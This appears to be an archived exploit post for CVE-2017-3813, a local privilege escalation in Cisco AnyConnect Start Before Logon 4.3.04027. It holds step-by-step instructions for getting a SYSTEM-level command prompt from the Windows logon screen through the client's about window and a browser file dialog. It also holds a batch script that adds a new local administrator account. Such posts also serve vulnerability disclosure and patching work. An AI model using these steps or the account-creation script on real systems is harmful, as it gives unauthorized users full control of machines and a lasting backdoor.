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Cisco AnyConnect SBL 4.3.04027 Local Privilege Escalation

Cisco AnyConnect SBL 4.3.04027 Local Privilege Escalation
Posted Mar 2, 2017
Authored by Pcchillin

Cisco AnyConnect Start Before Logon (SBL) versions 4.3.04027 and below suffer from a local privilege escalation vulnerability.

tags | exploit, local
systems | cisco
advisories | CVE-2017-3813
SHA-256 | a940cb43f59488ff489670ff1c373d98a9bcd072247f920b103d88a5edb179d8

Cisco AnyConnect SBL 4.3.04027 Local Privilege Escalation

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# Exploit Title: Cisco AnyConnect Start Before Logon (SBL) local privilege escalation. CVE-2017-3813
# Date: 02/27/2017
# Exploit Author: @Pcchillin
# Software Link: http://www.cisco.com/c/en/us/support/security/anyconnect-secure-mobility-client/tsd-products-support-series-home.html
# Version: 4.3.04027 and earlier
# Tested on: Windows 10
# CVE : CVE-2017-3813
# Vendor ID : cisco-sa-20170208-anyconnect


#Run CMD.EXE with system privileges
1. Start Cisco anyconnect from logon screen.
2. Once the Cisco app comes up (where you can select a profile and hit connect) hold CTRL and hit B.
3. When the Cisco about window appears then select the URL at the bottom. This will open Internet Explorer or you can select Chrome if installed.
4. Once Internet Explorer is started press CTRL-O, then select browse. Chrome press CTRL-O and explorer will open.
5. You can then navigate to the C:\Windows\System32\ folder and find CMD.exe then right click and select RunAsAdministrator.


#Run scripts from USB flash drive
Follow steps from above and navigate to the flash drive right click and select run. You can also edit the document.
Example bat script:
Net user #USERNAME #PASSWORD /add
Net localgroup administrators #USERNAME /add


#Vendor link to advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170208-anyconnect
#Twitter handle @pcchillin

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